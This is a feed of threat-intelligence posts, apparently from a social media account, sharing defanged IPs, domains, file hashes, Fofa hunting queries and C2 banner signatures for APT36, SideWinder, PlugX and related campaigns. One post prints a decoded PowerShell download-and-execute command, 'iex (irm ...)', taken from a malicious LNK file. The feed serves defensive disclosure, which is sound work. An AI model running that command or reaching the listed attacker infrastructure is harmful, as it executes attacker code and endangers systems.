Cyber Team @Cyberteam008

#Fofa Query for #DeskRAT Infra of #SideCopy #APT Query: header="HTTP/1.1 503 Service Unavailable" && header="Content-Length: 238" && asn="200019" Link: t.ly/Xe8zC Infra (Including enrichment from VT): As observed earlier, all IP addresses belongs to the same ASN "Alexhost SRL" IP Addresses: --------------------- 85.137.249[.]224:8080 85.137.249[.]243:8080 193.233.244[.]243:8080 45.90.97[.]211:8080 87.120.244[.]90:8080 87.120.244[.]206:8080 45.155.54[.]113:8080 46.253.4[.]33:8080 45.155.54[.]123:8080 45.155.54[.]253:8080 45.155.54[.]22:8080 Domains: --------------------- chuchuchacha[.]shop chuchuchacha[.]xyz chuchuchachawin[.]bond chuchuchachawin[.]sbs echs[.]online forwindowstesting[.]site forwindowstesting[.]space ftp.czwaluk[.]de makiinindia[.]online makiinindia[.]xyz vayusena[.]store vayusena[.]online vdsd.whypay[.]info #APT36 #Malware #ioc

#APT36 / #TransparentTribe Targeting #Indian Government. File: Foreign Relations[.]zip MD5: f43f34866f58685cab07804daca07aa0 File: Foreign Relations.lnk MD5: 5eda8a31ff0905e4868f84b3f1e315a2 Payload Hosting: ceadelhi[.]in ( hosted on 193.29.56[.]122 ) Note: This LNK file is a malicious downloader that executes an encoded PowerShell command "--headless powershell -e [base64-encoded-command]" through conhost.exe. The decoded command is "iex (irm https://ceadelhi[.]in/fr)", which downloads and executes a remote script. The shortcut uses the Chrome icon for deception and is configured to run in a minimized state (SW_SHOWMINNOACTIVE) to hide its activity from the user. This campaign closely resembles with the Sheet Attack campaign earlier identified by the Zscaler ThreatLabz @Threatlabz at t.ly/2if_m . Likely additional #APT36 related infra: videshapp[.]in videshapp[.]org mopngs[.]org epolpro[.]org 192.52.167[.]193 @SinghSoodeep @500mk500 #APT #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

Latest #Crimson #RAT Payload File: vrmtkvim wimyras.exe MD5: b915e9fe3d5541e75609b220ed2e88b0 C2: TCP 108.181.153[.]57:9616 Banner Signatures from #Fofa for #C2 ports: Port-8511 { inerafvdafo@lc29ws } Port-9616 { inerafvdafo@9iazz7 } Port-15161 { inerafvdafo@43s13j } Port-20161 { inerafvdafo@k77pzi } Port-22892 { inerafvdafo@vr9aqe } Note: The #Crimson #RAT C2 server's banner signatures include the pattern "inerafvdafo@<6-char-random-text>"; A fixed string followed by a variable part to evade detection by the search engines. #APT36 #TransparentTribe #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

#SideWinder #APT / #RazorTiger Targeting 🇵🇰 🇳🇵 🇧🇩 🇦🇫 Governments. Infra [Government entities mimicking]: 94.126.224[.]99 mofa-go-np.direct880[.]net [Ministry of Foreign Affairs, Nepal] mofa-gov-np.direct880[.]net [Ministry of Foreign Affairs, Nepal] pakun-org.direct880[.]net [Permanent Mission of Pakistan to the United Nations] www-fbr-gov-pk.direct880[.]net [Federal Board of Revenue, Pakistan] geneva-mofa-gov-bd.direct880[.]net [Ministry of Foreign Affairs, Bangladesh] www-securitycouncilreport-org[.]direct880[.]net [Targeting Afghanistan Govt.] www.direct880[.]net direct880[.]net Below are associated malicious files used for Phishing campaign: File: Afghanistan, March 2026 Monthly Forecast _ Security Council Report.pdf MD5: dba2260f73884da6f274fe8246988e8c C2: www-securitycouncilreport-org.direct880[.]net File: importantadvisory.docx MD5: 616fbbce1f4719c37e4e02e01605d3b1 C2: TCP 94.126.224[.]99:443 / mofa-gov-np.direct880[.]net Notes: 1. Header Title of all the web pages originally in Malayalam (Indian Language), which translates in English is "The most important thing is to be happy". 2. It is exploiting #CVE-2017-0199 (RCE vulnerability in MS Office) using the malicious word file (importantadvisory.docx). 3. RTF (Rich Text Format) file used for the campaign is "Fontlayer.rtf". We may find additional campaign files by searching this RTF file using VT Enterprise account. Anyone having VT premium access can search and share additional infra here, if found. #SideWinder #APT #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

#Fofa Query for #APT36 's #SecureServer #C2 Panels. Query: title=="SecureServer - Login" Link: t.ly/3HTk4 #Infra (C2 Panels): delhibellyindia[.]com 2.56.10[.]46 45.13.225[.]22 #TransparentTribe #APT #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

Latest #Crimson #RAT Payload File: ntrshwr itcrwpas.exe MD5: cf0d1817051b09ecae910069ba5cd089 C2: 204.12.236[.]177:9628 Banner Signature(s) from #Fofa results Port:9628 { inbgshorsmfo|@3tkdjd } Port:36826 { inbgshorsmfo|@3ngr46 } #APT36 #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

#Fofa Query for #Lazarus #APT / #APT38. All domains / hostnames are mimicking the "Meeting" theme. Query: title=="Google Meet" Link: t.ly/e3lr6 Infra: pastebin.com/ZaKJBBe1 @500mk500 #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

Activity of #APT36 / #TransparentTribe #APT Targeting #India Revised_Format_for_LTC_and_Recovery_Claims.rar 4c74d7e5471c188e2705d74dd7404665 Revised_Format_for_LTC_and_Recovery_Claims.pdf 484cb1752a4e1af36db24eb1f5a8a126 C2: d1x6w5ix3hujbn.cloudfront[.]net #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

@500mk500 @fofabot Hi, Nice catch mate👏. Good to observe new infra in latest post. Regards

#Fofa Query for #SideWinderAPT / #RazorTiger / #Rattlesnake targeting 🇵🇰 Govt. Query: title=="PAK VISA" Link: t.ly/o4SJu Infra: 173.208.180[.]161 {visa / nadra}.gov.pk-o[.]xyz {visa / nadra}.gov.pk.onev[.]online visa.nadra-gov[.]pt @500mk500 #APT #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

@AzakaSekai_ Hi, The C2 IP address is matched with one of our known #PlugX signatures and the file path "hiar4uqi[.]csz" (gibberish pattern) is most common in #PlugX related samples. This led us to attribute to the #PlugX which is used by #MustangPanda (also uses #TOnePipeShell). Regards.

[1/2] Recent #PlugX #RAT activity File: microsoftedgeupdate (1).zip MD5: 150406e02046742ee2d6c7eacf0f53c6 C2: 103.114.203[.]75:443 / fdcvgbb[.]com File: PartitionManager.dll / SkinH.dll MD5: da03f896e2f44dfd51e9a0a17ed4e8e8 #MustangPanda #APT #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

[2/2] Path: %AppData%\Local\Temp\hiar4uqi.csz\ File: Micros0ftEdgeUpdates.exe (Signed. Observe the zero[0] in file name) MD5: b0e977cc3a307140a37a956973943cad Note: The file is Signed by "Wondershare Technology Group Co. Ltd" which is based in China. #PlugX #RAT #Malware #ioc

[2/2] #Infra: formainserverlin[.]space formainserverwin[.]store formainserverwin[.]online 176[.]125[.]240[.]33 46[.]253[.]4[.]33 46[.]253[.]4[.]143 46[.]253[.]4[.]169 @500mk500 #APT36 #TransparentTribe #Malware #ioc

[1/2] #Fofa Query for #APT36 / #TransparentTribe #Query: cert.sn="138784688124233379481647497025635157148" #Link: t.ly/48WhN Note: All infra hosted on it's favourite ASN="Alexhost SRL".

Pakistan's #APT36 / #TransparentTribe Targeting Indian Govt. with theme "NIC eEmail Services" Infra: accounts.mgovcloud[.]in.departmentofdefence[.]live departmentofdefence[.]live 81.180.93[.]5 --- [Stealth Server C2 on port 8080] 45.141.59[.]168 @500mk500 #APT #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

@th3l4z4rus Dear @th3l4z4rus We have gone through the article but did not find any of the IoC from our post. In case if you are assuming both "d11d6t6zp1jvtm.cloudfront[.]net" & "d2i8rh3pkr4ltc.cloudfront[.]net" are same, they are different. Regards Cyber Team

#APT36 / #TransparentTribe #APT Targeting India with theme "Fake Adobe Update". File: TA_DA_Revised_Procedures_MEA.zip d20bcad25e95052efaff8c22c4715801 File: TA_DA_Revised_Procedures_MEA.pdf 9b9c574cdb17c238df80414476228a78 C2: d2i8rh3pkr4ltc.cloudfront[.]net #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next

[2/2] #Fofa Query: banner="HTTP/1.1 400 Bad Request" && banner="Server: nginx/1.23.2" && banner="Content-Type: text/html" && banner="Content-Length: 255" && banner="Connection: close" && asn="59711" #SidewinderAPT #Rattlesnake #APT #Malware #ioc

[1/2] 🇮🇳 's #SidewinderAPT / #Rattlesnake #APT Targeting 🇱🇰🇵🇰🇳🇵 Govts. #Fofa Link: t.ly/V9HUm Infra (including enrich from VT) : pastebin.com/BiUxSjrp @500mk500 #Malware #ioc

keyboard_arrow_left Previous keyboard_arrow_right Next